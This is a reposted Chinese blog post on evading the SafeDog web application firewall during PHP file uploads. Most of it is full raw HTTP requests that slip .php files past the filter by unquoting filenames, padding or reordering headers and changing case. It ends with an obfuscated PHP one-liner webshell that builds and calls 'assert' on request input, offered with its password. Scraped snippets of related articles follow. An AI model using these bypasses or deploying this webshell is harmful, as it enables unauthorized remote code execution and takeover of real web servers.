关于安全狗文件上传

文章转载至科拉实验室,作者倾旋@科拉实验室

Part 1 分析

此文主要研究安全狗的数据包分析功能,由于很多人都认为安全狗是通过正则去匹配的,那么暂且那么说吧。这款应用层的WAF的确在测试中让人头大。那么安全狗是如何分析我们的数据的呢?
在这里我做了一个拓扑图:

Part 2 测试过程

测试系统:WINXP
脚本语言:PHP5.4.45
WEB服务器:Apache/2.4.23(Win32)
安全狗版本:3.5.12048
目前,用一个PHP上传文件的脚本来做上传测试。

<?php
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&& ($_FILES["file"]["size"] < 20000))
  {
  if ($_FILES["file"]["error"] > 0)
    {
    echo "Error: " . $_FILES["file"]["error"] . "<br />";
    }
  else
    {
    echo "Upload: " . $_FILES["file"]["name"] . "<br />";
    echo "Type: " . $_FILES["file"]["type"] . "<br />";
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
    echo "Stored in: " . $_FILES["file"]["tmp_name"];
    }
  }
else
  {
  echo "Invalid file";
  }
?>

  

这个程序首先会判断文件类型是否是图片类型,若不是就输出“Invalid file”。
那么其中的 image/* 是什么呢?
这个值是叫做MIME类型,常见的类型如下:
超文本标记语言 .html .htm :Text/html
普通文本 .txt:Text/plain
JPEG图形.jpeg .jpg: Image/jpeg

由于过多就不多举例了。

通常的普通上传一般只过滤这个MIME类型,由此引发了很多上传漏洞。既然能引发上传漏洞,那么根本的原因是什么呢?

就由于文件类型可控,所以可以伪造数据包中的MIME类型,上传文件。(由此我们可以看出,简单的判断MIME类型是远远不够的,还要限制文件扩展名)
我首先使用BurpSuite分析,抓取上传的数据包做测试。

可以看到已经拦截了上传的数据包,并且返回了拦截的警报信息。
一般情况下,我都会手工去测试它的拦截方式,以及黑名单。
那么这个黑名单包含了哪些呢?

安全狗的黑名单:*.asa\*.asp\*.php\*.asax\*.aspx\*.cer\*.cdx\*.cgi\*.exe\*.dll\*.jsp\*.asmx等等

现在进入正题,分析我们数据包中的特征。

POST /upload.php HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.103/
Cookie: safedog-flow-item=0AECAC9EDC7261
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------3437176296980
Content-Length: 344

-----------------------------3437176296980
Content-Disposition: form-data; name="file"; filename="AutoLoad.class.php"
Content-Type: image/jpeg

-----------------------------3437176296980
Content-Disposition: form-data; name="submit"

Submit
-----------------------------3437176296980--

  

第一个猜想,它可能会直接取filename的值?
(在HTTP协议中,也是键值对的结构。 Key="Value";)
[键]=“值”
此时filename="test.php"中的filename就是key,test.php就是值。

安全狗可能取的就是其中的值,直接匹配名为filename的键对应的值。

第二个猜想,它会匹配所有filename对应的值吗?
我们将:

Content-Disposition:form-data;name="file";filename="AutoLoad.class.php"

  更改成

Content-Disposition:form-data;name="file";filename=”test.jpg”;filename="AutoLoad.class.php"

  

此时测试上传发现还是不行。

总结一下:它会取得所有的filename对应的值。

在之前我们就强调了格式:key="value";我们把双引号去除,试一试?

此时上传成功

原因:原生(未修改)的数据包filename为最后一个键,这个键对应的值是没有";"的。但是http协议中,我们根据正规格式构造,安全狗就匹配不到filename的值。

再后来我发现还有更多的方法:

  • 花式剔除
  • 垃圾值填充
  • 大小写混淆
  • 上下文互换
  • 还有很多办法,不一个一个举例了

Part 3 秀出姿势

花式剔除测试过程

在上传数据包中,Content-Disposition:
form-data;的意思是内容描述,form-data的意思是来自表单的数据,但是即使不写form-dataapache也接受。

也可以填入不相关的值:

POST /upload.php HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.103/
Cookie: safedog-flow-item=0AECAC9EDC7261
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------3437176296980
Content-Length: 364

-----------------------------3437176296980
Content-Disposition: AAAAAAAAAAAAAAA="BBBBBBBBBBBBBBBBBB" ; name="file"; filename="AutoLoad.class.php"
Content-Type: Content-Type: image/jpeg

-----------------------------3437176296980
Content-Disposition: form-data; name="submit"

Submit
-----------------------------3437176296980--

  

后续我就直接贴上数据包了,因为全部是成功Bypass的。

下面来看看大小写:

Content-Disposition:form-data;name="file"; filename="test.php"
content-disposition:form-data;name="file"; filename="test.php"

将列名改成小写也是可以被Apache接受的。

POST /upload.php HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.103/
Cookie: safedog-flow-item=0AECAC9EDC7261
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------3437176296980
Content-Length: 343

-----------------------------3437176296980
content-disposition: form-data; name="file"; filename="AutoLoad.class.php"
Content-Type: image/jpeg

-----------------------------3437176296980
Content-Disposition: form-data; name="submit"

Submit
-----------------------------3437176296980--

  

上下文互换测试过程:

我们发现在默认的上传文件数据包中,MIME类型是在内容描述后面的,我们将MIME类型放在内容描述之前也是可以绕过WAF

POST /upload.php HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.103/
Cookie: safedog-flow-item=0AECAC9EDC7261
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------3437176296980
Content-Length: 343

-----------------------------3437176296980
Content-Type: image/jpeg
Content-Disposition: form-data; name="file"; filename="AutoLoad.class.php"
Content-Type: image/jpeg

    -----------------------------3437176296980
    Content-Disposition: form-data; name="submit"

    Submit

-----------------------------3437176296980--

  

后面我们发现只要在Content-Disposition上方插入任意字符,或者在form-data的位置放置任意字符,都可以绕过WAF....

当然,垃圾值也可以填充在默认数据包中的内容描述上方:

POST /upload.php HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.103/
Cookie: safedog-flow-item=0AECAC9EDC7261
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------3437176296980
Content-Length: 343

-----------------------------3437176296980
AAAAAAAA:filename="aaaaaaa.php";
Content-Disposition: form-data; name="file"; filename="AutoLoad.class.php"
Content-Type: image/jpeg

-----------------------------3437176296980
Content-Disposition: form-data; name="submit"

Submit
-----------------------------3437176296980--

  

Part 4 分享

另外再附送一颗过狗一句话(PHP):

<?php
$p = array(‘f‘=>‘a‘,
#afffffffff
‘pffff‘=>‘s‘/*223* 1*/,
‘e‘=>‘fffff‘,//FJKSJKFSNMFSSDSDS//D*SA/*DSA&*[email protected]&[email protected]&(#*(
‘lfaaaa‘=>‘r‘,//FJKSJKFSNMFSSDSDS//D*SA/*DSA&*[email protected]&[email protected]&(#*(;
‘nnnnn‘=>‘t‘//&[email protected]&(#*(;
);//&[email protected]&(#*(;
$a = array_keys($p);//9*9*5656
@$_=$p[‘pffff‘].#/*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@*/
$p[‘pffff‘].$a[2];
@$_=#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
$p[‘f‘]./*-/*-*/$_.#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
$p[‘lfaaaa‘].$p[‘nnnnn‘];#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@$_#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
($_REQUEST[#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
‘username‘#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
#@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
]);
?>

  密码是username

时间: 2024-10-03 17:17:33

关于安全狗文件上传的相关文章

夺命雷公狗---node.js---11之文件上传

我们在做文件上传前需要用npm来安装一个插件先, 首先打开项目所在的目录,然后按住shift键然后右键鼠标进入命令行安装formidable 然后开始编写上传的静态页面: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> </head> <body> &l

文件上传的思考 (转) http://blog.csdn.net/ncafei/article/details/53401961

文件上传校验 客户端JavaScript校验(一般只校验后缀名) 一般都是在网页上写一段javascript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式. 判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包. 服务端校验: 1.文件头content-type字段校验(image/gif):代码对上传文件的文件类型进行了判断,如果不是图片类型,返回错误. 2.文件内容头校验(GIF89a): 可

用jQuery重置用于文件上传的input (type=&quot;file&quot;)

页面中有如下标签: <input type="file" id="upload"/> 此标签本用于文件上传,现在有需要将其值重置为空.于是想当然地写出如下代码: $('#upload').val(''); 但经测试,该处理方法对IE无效,因为IE不允许javascript改变type为file的input的值,又是让人蛋疼的IE... 在浏览器兼容性方面本人是白痴一个,遂放狗一搜,有解决方案如下: if(ie) { // 此处判断是否是IE $('#up

文件上传漏洞及解析漏洞总结

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力.这种攻击方式是最为直接和有效的,"文件上传"本身没有问题,有问题的是文件上传后,服务器怎么处理.解释文件.如果服务器的处理逻辑做的不够安全,则会导致严重的后果. 文件上传后导致的常见安全问题一般有: 1)上传文件是Web脚本语言,服务器的Web容器解释并执行了用户上传的脚本,导致代码执行. 2)上传文件是Flash的策略文件crossdomain.xml,黑客用以控制Flash在该域下的行为(

文件上传漏洞(绕过姿势)

文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞,因为用它获得服务器权限最快最直接.但是想真正把这个漏洞利用好却不那么容易,其中有很多技巧,也有很多需要掌握的知识.俗话说,知己知彼方能百战不殆,因此想要研究怎么防护漏洞,就要了解怎么去利用.此篇文章主要分三部分:总结一些常见的上传文件校验方式,以及绕过校验的各种姿势,最后对此漏洞提几点防护建议.(根据个人经验总结,欢迎补充纠错~~) 文件上传校验姿势 客户端javascript校验(一般只校验后缀名) 服务端校验 文件头content-type

利用文件上传漏洞渗透某传销服务器

Simeon 本文已投i春秋 https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=30085&page=1#pid389491 对于传销网站的服务器来说,目前都防护较强,使用安全狗等软硬件防范,但由于最终使用该产品的必须由人来实现,当获取webshell的情况下,通过一些技术手段可以绕过防火墙的防护,从而登录并获取服务器权限.下面分享一个通过文件上传漏洞获取webshell以及图片安全狗的防范获取服务器权限. 1.1通过文件上传获取w

文件上传姿势整理(附实战)

--人的理想志向往往和他的能力成正比. 在这里整理一些自己最近学习的文件上传的知识,方便自己回忆和深刻记忆(不全,只是将自己不知道的原理以及技巧分享出来). 文件上传漏洞的几种情况(在ichunqiu的博客园扒的 - -.): MIME类型绕过漏洞(就是content-type:) 文件内容检测绕过 空字节截断(%00,0x00) 解析导致的文件上传漏洞: IIS6.0/IIS7.0/IIS7.5(后面细说) Apache站上的解析缺陷绕过上传 htaccess文件上传解析漏洞 还有就是各种cm

vue文件上传 vue-simple-upload的使用方法

极其可怕,在使用vue-simple-upload插件做文件上传的时候,遇到总是访问不到后台的接口. 我以为我插件使用有问题,各种改,因为不熟悉,假象地改了几遍. emmmm~~原来是我的action参数给的小写的post,开始控制台报错了,给了那么明显的暗示, 我居然没有懂起~~~ 好,第一步,下载 npm install vue-simple-uploader --save 第二步,引导要使用的组建里去: import FileUpload from 'vue-simple-upload/d

Getshell | 文件上传绕过整理

WAF绕过 安全狗绕过 1.绕过思路:对文件的内容,数据.数据包进行处理. 关键点在这里Content-Disposition: form-data; name="file"; filename="ian.php" 将form-data; 修改为~form-data; 2.通过替换大小写来进行绕过 Content-Disposition: form-data; name="file"; filename="yjh.php" C